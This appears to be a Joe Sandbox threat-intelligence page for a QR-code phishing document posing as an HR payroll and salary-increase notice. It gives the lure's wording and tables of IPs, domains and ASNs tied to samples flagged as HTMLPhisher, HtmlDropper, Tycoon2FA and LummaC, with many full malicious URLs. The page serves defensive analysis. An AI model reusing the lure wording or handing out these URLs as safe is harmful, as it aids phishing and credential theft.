URL: Office document Model: jbxai	{ "brand":["Globi"], "contains_trigger_text":true, "trigger_text":"Please use your smartphone camera to scan the QR code below for quick access to your document for review", "prominent_button_name":"Do Not Share This Email", "text_input_field_labels":"unknown", "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "text":"PAYROLL SUMMARY & SALARY INCREASE Here's the document shared with you from human resources/payroll department Message date: October 07, 2024 Please use your smartphone camera to scan the QR code below for quick access to your document for review Do Not Share This Email This email contains a secure link to Sharepoint. Please do not share this email link, or access code with others Your email: oscrdemo@l-tron.com", "has_visible_qrcode":true}

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.30.20	http://email.panatech.io/c/eJykzbFuwyAQgOGnwVstOExiDwypIqaqa6pux3EppAZbmFRKn76K_Ajd_uXTH-x1UHBQHVt1VEZKMFJ10QL5idF4CqO-TmoMo2YmDBTkZMirLlktCaQxR5g4sISBWaNUo4HDQaM-ghjkigUbU-zT0s02trZuQp8EOAEu1p5pKUtO1FLmrU8lJNyTlizAcZv7Na5Cu3udhT7_1-8u3DJmbJjvWyKPBSs-rQBHX_nJENzj82JOlNXv2-X9x3-8Rp_nmR7m5kEKfe6q_cbKRQyy5u2FlrxiSfv3LwAA__9Tq2zK	Get hash	malicious	HTMLPhisher	Browse
104.18.94.41	https://communications-chamber-confidentiality-limitation.trycloudflare.com/spec/#bWNhcnR3cmlnaHRAY2hlbXVuZ2NhbmFsLmNvbQ==	Get hash	malicious	Unknown	Browse
	+18365366724753456-83736-10244688.html	Get hash	malicious	HTMLPhisher	Browse
	https://statics.teams.cdn.office.net/evergreen-assets/safelinks/1/atp-safelinks.html?url=https%3A%2F%2Fphpstack-1335745-4931432.cloudwaysapps.com%2F%23%26%26%2B~XanJlZEBwcm9hZy5jb20=&locale=en-us&dest=https%3A%2F%2Fteams.microsoft.com%2Fapi%2Fmt%2Fpart%2Famer-03%2Fbeta%2Fatpsafelinks%2Fgeturlreputationsitev2%2F&pc=dqIG3sYngZE8N2eRBkF7CAkOWKg5g3tGjnQGJGQlc61U8QGlKCs5AzH6JKtW7FyetS1g5oEXSNBKJVlJbTCgrea0O041dBSjafsPfOc5KxbMkQRnpwalZQdhHfcjoeWL7rzuDGG%252fj2e7scaAUTCy2PY0WmBb87rgNNPdmEQne%252f00jq9aOpwCvhJrGkNK5f8MP5jaUwccFhr9IIoVaCOrXUhSnuRv%252fw%252bxhUGpneOsAgBs7CjJQbmepBIHfEqwCkqvDbYbxYB4Hm9sLVAOFaz9VFMFSXPJt4MqeWAChikWLAZATmvniptR3h97WVF%252fZtjtm3RxdNyPROzhUvL92w9fdWmSw%252bHBxn5rMHOUpaQU16ZpcfATiVaU51fqKaYO2v4ZnK7axAavLgOpgAJivuE6JO2sqksPH41Z6PVam5c4J%252bwwz5Z2pqrOSxPxEcPGeDff%252bxp9PApNxpvURRLl98WzRw%252ftZEOu%252foKPhjN0OiTGAQDLRWTF%252bMCzSQg37tk7ZYUYYc0Ycs4xDjchhFprJCCSfrZ8WyHq6cjqmnbgDKRQig28xGNFnSDEeWMDBQeeeVyNqDv0FAAxkSAMO%252b7t4Qu1y0h0MHJYEb5pxfOYe8Pyfcsn7pyR%252fkKEqziEQVGlIETrpjVMNyrhJrnX9S%252flWaxf0H3tD%252fqMhzPysO9QdPSJTG054WE4jq5GRqTKu8P25t4KJLY15Oz2j5iCg7Bd5lczhgv4PQevplLuCGckM%252fs5EPk2r2FkSOxHF51EB5FR2TgXQR5UAp2BbaWTm9irKwSSUK5z1MsGMDokVMEB4bQ9mpZrl1%252bDMixJ1mQyyLXpelmEyN8zw1nTsbXAvDQgIvPLPj0QUtphEMnmVEXMkQHiw2WHWUSxIxYcY%252fltyp6bnMrankPAnpChbWQmk95rKsUz8tqtLjNDclK1y1FLy%252fh7sed9duxDDFupXnhmXxGJOmUV6FG1arxXL8urm1F98thG8anfchv3DafKsyVHHgmdUFNH6Uhcu4sB8fo0kqm2y7IWS96w5BeG334JvnFDJPLDPvtK5ojeXfDXh%252boKJdBxXGC9NmPwgDp8XeOavQnNlJRfUAXkhukdjDg1EHGF%252b9luUuTH%252fEbKHniTzx4OvIWUnDvXcdpuEIAnW8mDJzMXpmxpl3nwtTqeQWMeSNzjute9yTZEU%252beQk498EMyU%252fuPUg%252fSOH5r%252fwjGCsPpm%252f%252bUA00SsNvWuDD0AbNIKYubFuNKQ3SX6N7M11wOksoUG%252fz9IheWtOawwl7F0lqN3xkTQhfiiHovdudAPiB%252fzt25Im27XxPQ9s1c%252bnOWOPh6m%252bvaCQcj6bcwkFbNl5Y1KL7XQvirYSFsNXnrYuQvTPMk1n5CRq6dxsl9FRGV9MMdrZduC%252bG4B0zxLA58d8fTW2zfEXnRcMTgQKLK%252fmeZT7K3wwAvQiA%253d%253d%3B%20expires%3DWed%2C%2009%20Oct%202024%2014%3A05%3A23%20GMT%3B%20path%3D%2F%3B%20SameSite%3DNone%3B%20secu	Get hash	malicious	HTMLPhisher	Browse
	https://t.dripemail3.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzI4MzA1Mzk4LCJuYmYiOjE3MjgzMDUzOTgsImFjY291bnRfaWQiOiIyNzYyNjA5IiwiZGVsaXZlcnlfaWQiOiJpeHI5d3pqeGcwZnI2NGJjbGwycyIsInRva2VuIjoiaXhyOXd6anhnMGZyNjRiY2xsMnMiLCJzZW5kX2F0IjoxNzI4MzA0MzU0LCJlbWFpbF9pZCI6OTk2Mzg3MCwiZW1haWxhYmxlX3R5cGUiOiJCcm9hZGNhc3QiLCJlbWFpbGFibGVfaWQiOjM5NTM4MjUsInVybCI6Imh0dHBzOi8vZGFpbHlhbGFza2EuY29tL25ld3M_X19zPWw5bzljOTZzbG8xZjF3aGFiODZrJnV0bV9zb3VyY2U9ZHJpcCZ1dG1fbWVkaXVtPWVtYWlsJnV0bV9jYW1wYWlnbj1TcHJpbmcraGFzK3NwcnVuZyslRjAlOUYlOEMlQjEifQ.HIDfaWGNVn-TCtUT4qZNHq7EdymoLEqvVA8XxZBU8z8	Get hash	malicious	HtmlDropper	Browse
	https://entertaininmotionre.pro/IQCm/	Get hash	malicious	HTMLPhisher	Browse
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse
	http://kendellseafoods.com/	Get hash	malicious	Unknown	Browse
	http://dmed-industries.com	Get hash	malicious	HtmlDropper	Browse
	https://doccloudshareddrive.com/?auth=1&shareable=true&access=restricted&check_type=password&timestamp=2024-10-07T16%3A53%3A27.609Z&priority=high&include_details=true	Get hash	malicious	Unknown	Browse
151.101.66.137	http://novo.oratoriomariano.com/novo/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	http://facebooksecurity.blogspot.ch/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://site9615380.92.webydo.com/?v=1	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.2.min.js
	http://grandprairie-water-damage-restoration.com	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	2023121142000021ki01kvjs.html	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-latest.min.js
151.101.194.137	http://facebooksecurity.blogspot.dk/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://soporte-store.info/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://mi-outlook-loggin.click/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://www.oodlesoftraffic.com/ec/JaneMarksHealth/1934/acmariix2/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.9.1.js
	http://facebooksecurity.blogspot.pe/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	https://tracker.club-os.com/campaign/click?qDomYmsgId=d738c6bd137e6a03157c6c728cbc659e734fc398&test=false&target=demsaenlinea.mx/jahn/00987667839933/utilities@affordablecare.com	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
challenges.cloudflare.com	https://communications-chamber-confidentiality-limitation.trycloudflare.com/spec/#bWNhcnR3cmlnaHRAY2hlbXVuZ2NhbmFsLmNvbQ==	Get hash	malicious	Unknown	Browse	104.18.94.41
	+18365366724753456-83736-10244688.html	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	https://statics.teams.cdn.office.net/evergreen-assets/safelinks/1/atp-safelinks.html?url=https%3A%2F%2Fphpstack-1335745-4931432.cloudwaysapps.com%2F%23%26%26%2B~XanJlZEBwcm9hZy5jb20=&locale=en-us&dest=https%3A%2F%2Fteams.microsoft.com%2Fapi%2Fmt%2Fpart%2Famer-03%2Fbeta%2Fatpsafelinks%2Fgeturlreputationsitev2%2F&pc=dqIG3sYngZE8N2eRBkF7CAkOWKg5g3tGjnQGJGQlc61U8QGlKCs5AzH6JKtW7FyetS1g5oEXSNBKJVlJbTCgrea0O041dBSjafsPfOc5KxbMkQRnpwalZQdhHfcjoeWL7rzuDGG%252fj2e7scaAUTCy2PY0WmBb87rgNNPdmEQne%252f00jq9aOpwCvhJrGkNK5f8MP5jaUwccFhr9IIoVaCOrXUhSnuRv%252fw%252bxhUGpneOsAgBs7CjJQbmepBIHfEqwCkqvDbYbxYB4Hm9sLVAOFaz9VFMFSXPJt4MqeWAChikWLAZATmvniptR3h97WVF%252fZtjtm3RxdNyPROzhUvL92w9fdWmSw%252bHBxn5rMHOUpaQU16ZpcfATiVaU51fqKaYO2v4ZnK7axAavLgOpgAJivuE6JO2sqksPH41Z6PVam5c4J%252bwwz5Z2pqrOSxPxEcPGeDff%252bxp9PApNxpvURRLl98WzRw%252ftZEOu%252foKPhjN0OiTGAQDLRWTF%252bMCzSQg37tk7ZYUYYc0Ycs4xDjchhFprJCCSfrZ8WyHq6cjqmnbgDKRQig28xGNFnSDEeWMDBQeeeVyNqDv0FAAxkSAMO%252b7t4Qu1y0h0MHJYEb5pxfOYe8Pyfcsn7pyR%252fkKEqziEQVGlIETrpjVMNyrhJrnX9S%252flWaxf0H3tD%252fqMhzPysO9QdPSJTG054WE4jq5GRqTKu8P25t4KJLY15Oz2j5iCg7Bd5lczhgv4PQevplLuCGckM%252fs5EPk2r2FkSOxHF51EB5FR2TgXQR5UAp2BbaWTm9irKwSSUK5z1MsGMDokVMEB4bQ9mpZrl1%252bDMixJ1mQyyLXpelmEyN8zw1nTsbXAvDQgIvPLPj0QUtphEMnmVEXMkQHiw2WHWUSxIxYcY%252fltyp6bnMrankPAnpChbWQmk95rKsUz8tqtLjNDclK1y1FLy%252fh7sed9duxDDFupXnhmXxGJOmUV6FG1arxXL8urm1F98thG8anfchv3DafKsyVHHgmdUFNH6Uhcu4sB8fo0kqm2y7IWS96w5BeG334JvnFDJPLDPvtK5ojeXfDXh%252boKJdBxXGC9NmPwgDp8XeOavQnNlJRfUAXkhukdjDg1EHGF%252b9luUuTH%252fEbKHniTzx4OvIWUnDvXcdpuEIAnW8mDJzMXpmxpl3nwtTqeQWMeSNzjute9yTZEU%252beQk498EMyU%252fuPUg%252fSOH5r%252fwjGCsPpm%252f%252bUA00SsNvWuDD0AbNIKYubFuNKQ3SX6N7M11wOksoUG%252fz9IheWtOawwl7F0lqN3xkTQhfiiHovdudAPiB%252fzt25Im27XxPQ9s1c%252bnOWOPh6m%252bvaCQcj6bcwkFbNl5Y1KL7XQvirYSFsNXnrYuQvTPMk1n5CRq6dxsl9FRGV9MMdrZduC%252bG4B0zxLA58d8fTW2zfEXnRcMTgQKLK%252fmeZT7K3wwAvQiA%253d%253d%3B%20expires%3DWed%2C%2009%20Oct%202024%2014%3A05%3A23%20GMT%3B%20path%3D%2F%3B%20SameSite%3DNone%3B%20secu	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	https://t.dripemail3.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzI4MzA1Mzk4LCJuYmYiOjE3MjgzMDUzOTgsImFjY291bnRfaWQiOiIyNzYyNjA5IiwiZGVsaXZlcnlfaWQiOiJpeHI5d3pqeGcwZnI2NGJjbGwycyIsInRva2VuIjoiaXhyOXd6anhnMGZyNjRiY2xsMnMiLCJzZW5kX2F0IjoxNzI4MzA0MzU0LCJlbWFpbF9pZCI6OTk2Mzg3MCwiZW1haWxhYmxlX3R5cGUiOiJCcm9hZGNhc3QiLCJlbWFpbGFibGVfaWQiOjM5NTM4MjUsInVybCI6Imh0dHBzOi8vZGFpbHlhbGFza2EuY29tL25ld3M_X19zPWw5bzljOTZzbG8xZjF3aGFiODZrJnV0bV9zb3VyY2U9ZHJpcCZ1dG1fbWVkaXVtPWVtYWlsJnV0bV9jYW1wYWlnbj1TcHJpbmcraGFzK3NwcnVuZyslRjAlOUYlOEMlQjEifQ.HIDfaWGNVn-TCtUT4qZNHq7EdymoLEqvVA8XxZBU8z8	Get hash	malicious	HtmlDropper	Browse	104.18.95.41
	https://entertaininmotionre.pro/IQCm/	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse	104.18.95.41
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse	104.18.95.41
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse	104.18.95.41
	http://kendellseafoods.com/	Get hash	malicious	Unknown	Browse	104.18.95.41
	http://dmed-industries.com	Get hash	malicious	HtmlDropper	Browse	104.18.94.41
cdnjs.cloudflare.com	+18365366724753456-83736-10244688.html	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://statics.teams.cdn.office.net/evergreen-assets/safelinks/1/atp-safelinks.html?url=https%3A%2F%2Fphpstack-1335745-4931432.cloudwaysapps.com%2F%23%26%26%2B~XanJlZEBwcm9hZy5jb20=&locale=en-us&dest=https%3A%2F%2Fteams.microsoft.com%2Fapi%2Fmt%2Fpart%2Famer-03%2Fbeta%2Fatpsafelinks%2Fgeturlreputationsitev2%2F&pc=dqIG3sYngZE8N2eRBkF7CAkOWKg5g3tGjnQGJGQlc61U8QGlKCs5AzH6JKtW7FyetS1g5oEXSNBKJVlJbTCgrea0O041dBSjafsPfOc5KxbMkQRnpwalZQdhHfcjoeWL7rzuDGG%252fj2e7scaAUTCy2PY0WmBb87rgNNPdmEQne%252f00jq9aOpwCvhJrGkNK5f8MP5jaUwccFhr9IIoVaCOrXUhSnuRv%252fw%252bxhUGpneOsAgBs7CjJQbmepBIHfEqwCkqvDbYbxYB4Hm9sLVAOFaz9VFMFSXPJt4MqeWAChikWLAZATmvniptR3h97WVF%252fZtjtm3RxdNyPROzhUvL92w9fdWmSw%252bHBxn5rMHOUpaQU16ZpcfATiVaU51fqKaYO2v4ZnK7axAavLgOpgAJivuE6JO2sqksPH41Z6PVam5c4J%252bwwz5Z2pqrOSxPxEcPGeDff%252bxp9PApNxpvURRLl98WzRw%252ftZEOu%252foKPhjN0OiTGAQDLRWTF%252bMCzSQg37tk7ZYUYYc0Ycs4xDjchhFprJCCSfrZ8WyHq6cjqmnbgDKRQig28xGNFnSDEeWMDBQeeeVyNqDv0FAAxkSAMO%252b7t4Qu1y0h0MHJYEb5pxfOYe8Pyfcsn7pyR%252fkKEqziEQVGlIETrpjVMNyrhJrnX9S%252flWaxf0H3tD%252fqMhzPysO9QdPSJTG054WE4jq5GRqTKu8P25t4KJLY15Oz2j5iCg7Bd5lczhgv4PQevplLuCGckM%252fs5EPk2r2FkSOxHF51EB5FR2TgXQR5UAp2BbaWTm9irKwSSUK5z1MsGMDokVMEB4bQ9mpZrl1%252bDMixJ1mQyyLXpelmEyN8zw1nTsbXAvDQgIvPLPj0QUtphEMnmVEXMkQHiw2WHWUSxIxYcY%252fltyp6bnMrankPAnpChbWQmk95rKsUz8tqtLjNDclK1y1FLy%252fh7sed9duxDDFupXnhmXxGJOmUV6FG1arxXL8urm1F98thG8anfchv3DafKsyVHHgmdUFNH6Uhcu4sB8fo0kqm2y7IWS96w5BeG334JvnFDJPLDPvtK5ojeXfDXh%252boKJdBxXGC9NmPwgDp8XeOavQnNlJRfUAXkhukdjDg1EHGF%252b9luUuTH%252fEbKHniTzx4OvIWUnDvXcdpuEIAnW8mDJzMXpmxpl3nwtTqeQWMeSNzjute9yTZEU%252beQk498EMyU%252fuPUg%252fSOH5r%252fwjGCsPpm%252f%252bUA00SsNvWuDD0AbNIKYubFuNKQ3SX6N7M11wOksoUG%252fz9IheWtOawwl7F0lqN3xkTQhfiiHovdudAPiB%252fzt25Im27XxPQ9s1c%252bnOWOPh6m%252bvaCQcj6bcwkFbNl5Y1KL7XQvirYSFsNXnrYuQvTPMk1n5CRq6dxsl9FRGV9MMdrZduC%252bG4B0zxLA58d8fTW2zfEXnRcMTgQKLK%252fmeZT7K3wwAvQiA%253d%253d%3B%20expires%3DWed%2C%2009%20Oct%202024%2014%3A05%3A23%20GMT%3B%20path%3D%2F%3B%20SameSite%3DNone%3B%20secu	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	FW_ _EXTERNAL_ Completed_ iNH9Y_Contract_and_Agreement_3509750318S REF ID_iNH9Y.msg	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://entertaininmotionre.pro/IQCm/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	http://kendellseafoods.com/	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://forms.office.com/Pages/ShareFormPage.aspx?id=W8eUhlA4rUOuklSyoCn21mtmgAvPzYFJuSM99R6gX3dUQ1IyWUM1UUhTS1pWQ0xXNkI3RzlRRkFIVi4u&sharetoken=93tGEOrxpFy3X0nnxFcr	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	DocuSign-Docx.pdf	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://www.masonpost.com:443/cgi-bin/redir?https://ctrk.klclick3.com/l/01J9K8KGETH6JCWEWSWY0Z1M23_0?upn=u001.itvpsDR1UD2k9ruxjm0OAspgqcVOQ2hpn9lpb50VxZJdbi9nOzDV7HSnhKeIcaLQsgzZhAfJ867-2F8IcC-2BBYACBF80J8eA0O7PKeZKrlC1Q54Fj-2FS5ho91OPbLHjsGsZQWTyMbbJfNaQPKh9-2FKW31wr-2BMvAwYD85cdCTmlJyLauY-3D1xqt_Zis0fkz6H88oOTECUjdmAu-2FGkDDLbhQT-2B-2B9-2BD8-2Fn-2BuGRBn47ofPUerdduk-2BghIIr31LJs6iNd0rpuOZI5rlm3TOpkCWZ1eNCAWCuASI4dMP9Tv6jbA2UWTI2YWLmFZqgYeVzSc0Fb4o9iKg-2BzjSlX63m5ZgVPzXZ0W3SrrpOTDVmr8Vwd0xwSjxu9efo9kpJLVs7HOh7Cib6eG0OHldiYrljs5jy-2BsmDgNausa6sMCHSoHHj10FI3IfGuCnAD3e6jEbbsHVD11-2FD9cWADvkKxwETdgNpgixeie55jSwivWDLRKcdIczYG3CyTpA1Y18cj-2FBGLZEHTJvF1rd5yfWClPzV1Xw6x2CQgpVVbtrTE5NXtV8WFomzmraH-2FRE0uCvY#QE5lb19IYWNrZXJAb2ZmaWNlLmNvbQ==	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://issuu.com/smart_media/docs/die_welt_wirtschaft/19	Get hash	malicious	Unknown	Browse	104.17.25.14
	Hscni Remittance_8115919700_16831215.html	Get hash	malicious	Tycoon2FA	Browse	104.17.25.14
code.jquery.com	https://statics.teams.cdn.office.net/evergreen-assets/safelinks/1/atp-safelinks.html?url=https%3A%2F%2Fphpstack-1335745-4931432.cloudwaysapps.com%2F%23%26%26%2B~XanJlZEBwcm9hZy5jb20=&locale=en-us&dest=https%3A%2F%2Fteams.microsoft.com%2Fapi%2Fmt%2Fpart%2Famer-03%2Fbeta%2Fatpsafelinks%2Fgeturlreputationsitev2%2F&pc=dqIG3sYngZE8N2eRBkF7CAkOWKg5g3tGjnQGJGQlc61U8QGlKCs5AzH6JKtW7FyetS1g5oEXSNBKJVlJbTCgrea0O041dBSjafsPfOc5KxbMkQRnpwalZQdhHfcjoeWL7rzuDGG%252fj2e7scaAUTCy2PY0WmBb87rgNNPdmEQne%252f00jq9aOpwCvhJrGkNK5f8MP5jaUwccFhr9IIoVaCOrXUhSnuRv%252fw%252bxhUGpneOsAgBs7CjJQbmepBIHfEqwCkqvDbYbxYB4Hm9sLVAOFaz9VFMFSXPJt4MqeWAChikWLAZATmvniptR3h97WVF%252fZtjtm3RxdNyPROzhUvL92w9fdWmSw%252bHBxn5rMHOUpaQU16ZpcfATiVaU51fqKaYO2v4ZnK7axAavLgOpgAJivuE6JO2sqksPH41Z6PVam5c4J%252bwwz5Z2pqrOSxPxEcPGeDff%252bxp9PApNxpvURRLl98WzRw%252ftZEOu%252foKPhjN0OiTGAQDLRWTF%252bMCzSQg37tk7ZYUYYc0Ycs4xDjchhFprJCCSfrZ8WyHq6cjqmnbgDKRQig28xGNFnSDEeWMDBQeeeVyNqDv0FAAxkSAMO%252b7t4Qu1y0h0MHJYEb5pxfOYe8Pyfcsn7pyR%252fkKEqziEQVGlIETrpjVMNyrhJrnX9S%252flWaxf0H3tD%252fqMhzPysO9QdPSJTG054WE4jq5GRqTKu8P25t4KJLY15Oz2j5iCg7Bd5lczhgv4PQevplLuCGckM%252fs5EPk2r2FkSOxHF51EB5FR2TgXQR5UAp2BbaWTm9irKwSSUK5z1MsGMDokVMEB4bQ9mpZrl1%252bDMixJ1mQyyLXpelmEyN8zw1nTsbXAvDQgIvPLPj0QUtphEMnmVEXMkQHiw2WHWUSxIxYcY%252fltyp6bnMrankPAnpChbWQmk95rKsUz8tqtLjNDclK1y1FLy%252fh7sed9duxDDFupXnhmXxGJOmUV6FG1arxXL8urm1F98thG8anfchv3DafKsyVHHgmdUFNH6Uhcu4sB8fo0kqm2y7IWS96w5BeG334JvnFDJPLDPvtK5ojeXfDXh%252boKJdBxXGC9NmPwgDp8XeOavQnNlJRfUAXkhukdjDg1EHGF%252b9luUuTH%252fEbKHniTzx4OvIWUnDvXcdpuEIAnW8mDJzMXpmxpl3nwtTqeQWMeSNzjute9yTZEU%252beQk498EMyU%252fuPUg%252fSOH5r%252fwjGCsPpm%252f%252bUA00SsNvWuDD0AbNIKYubFuNKQ3SX6N7M11wOksoUG%252fz9IheWtOawwl7F0lqN3xkTQhfiiHovdudAPiB%252fzt25Im27XxPQ9s1c%252bnOWOPh6m%252bvaCQcj6bcwkFbNl5Y1KL7XQvirYSFsNXnrYuQvTPMk1n5CRq6dxsl9FRGV9MMdrZduC%252bG4B0zxLA58d8fTW2zfEXnRcMTgQKLK%252fmeZT7K3wwAvQiA%253d%253d%3B%20expires%3DWed%2C%2009%20Oct%202024%2014%3A05%3A23%20GMT%3B%20path%3D%2F%3B%20SameSite%3DNone%3B%20secu	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://t.dripemail3.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzI4MzA1Mzk4LCJuYmYiOjE3MjgzMDUzOTgsImFjY291bnRfaWQiOiIyNzYyNjA5IiwiZGVsaXZlcnlfaWQiOiJpeHI5d3pqeGcwZnI2NGJjbGwycyIsInRva2VuIjoiaXhyOXd6anhnMGZyNjRiY2xsMnMiLCJzZW5kX2F0IjoxNzI4MzA0MzU0LCJlbWFpbF9pZCI6OTk2Mzg3MCwiZW1haWxhYmxlX3R5cGUiOiJCcm9hZGNhc3QiLCJlbWFpbGFibGVfaWQiOjM5NTM4MjUsInVybCI6Imh0dHBzOi8vZGFpbHlhbGFza2EuY29tL25ld3M_X19zPWw5bzljOTZzbG8xZjF3aGFiODZrJnV0bV9zb3VyY2U9ZHJpcCZ1dG1fbWVkaXVtPWVtYWlsJnV0bV9jYW1wYWlnbj1TcHJpbmcraGFzK3NwcnVuZyslRjAlOUYlOEMlQjEifQ.HIDfaWGNVn-TCtUT4qZNHq7EdymoLEqvVA8XxZBU8z8	Get hash	malicious	HtmlDropper	Browse	151.101.2.137
	FW_ _EXTERNAL_ Completed_ iNH9Y_Contract_and_Agreement_3509750318S REF ID_iNH9Y.msg	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://entertaininmotionre.pro/IQCm/	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	http://kendellseafoods.com/	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://t.dripemail3.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzI4MzEwODA2LCJuYmYiOjE3MjgzMTA4MDYsImFjY291bnRfaWQiOiIyNzYyNjA5IiwiZGVsaXZlcnlfaWQiOiJwODJtNGNzMzB4cXl2Zmh0NzQxaSIsInRva2VuIjoicDgybTRjczMweHF5dmZodDc0MWkiLCJzZW5kX2F0IjoxNzI4MzA5NzMyLCJlbWFpbF9pZCI6OTk2NDE4NiwiZW1haWxhYmxlX3R5cGUiOiJCcm9hZGNhc3QiLCJlbWFpbGFibGVfaWQiOjM5NTQwMTYsInVybCI6Imh0dHBzOi8vZGFpbHlhbGFza2EuY29tL25ld3M_X19zPWw5bzljOTZzbG8xZjF3aGFiODZrJnV0bV9zb3VyY2U9ZHJpcCZ1dG1fbWVkaXVtPWVtYWlsJnV0bV9jYW1wYWlnbj0lRjAlOUYlOTElOEMrV2UrTWFkZStJdCtFYXN5K0ZvcitZb3UrJUYwJTlGJTkxJThDIn0.MNRoosOspCCWwx3VuYY41W-crcEzfjjfIELlO_QMAdM	Get hash	malicious	HtmlDropper	Browse	151.101.194.137
	https://forms.office.com/Pages/ShareFormPage.aspx?id=W8eUhlA4rUOuklSyoCn21mtmgAvPzYFJuSM99R6gX3dUQ1IyWUM1UUhTS1pWQ0xXNkI3RzlRRkFIVi4u&sharetoken=93tGEOrxpFy3X0nnxFcr	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	DocuSign-Docx.pdf	Get hash	malicious	Unknown	Browse	151.101.66.137
	Hscni Remittance_8115919700_16831215.html	Get hash	malicious	Tycoon2FA	Browse	151.101.130.137
	original.eml	Get hash	malicious	Tycoon2FA	Browse	151.101.66.137

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	SecuriteInfo.com.Win32.PWSX-gen.19404.14810.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	https://communications-chamber-confidentiality-limitation.trycloudflare.com/spec/#bWNhcnR3cmlnaHRAY2hlbXVuZ2NhbmFsLmNvbQ==	Get hash	malicious	Unknown	Browse	104.16.231.132
	+18365366724753456-83736-10244688.html	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.hfdzwq?v=frudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==	Get hash	malicious	Unknown	Browse	172.66.0.235
	https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.hfdzwq?v=frudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==	Get hash	malicious	Unknown	Browse	162.159.140.237
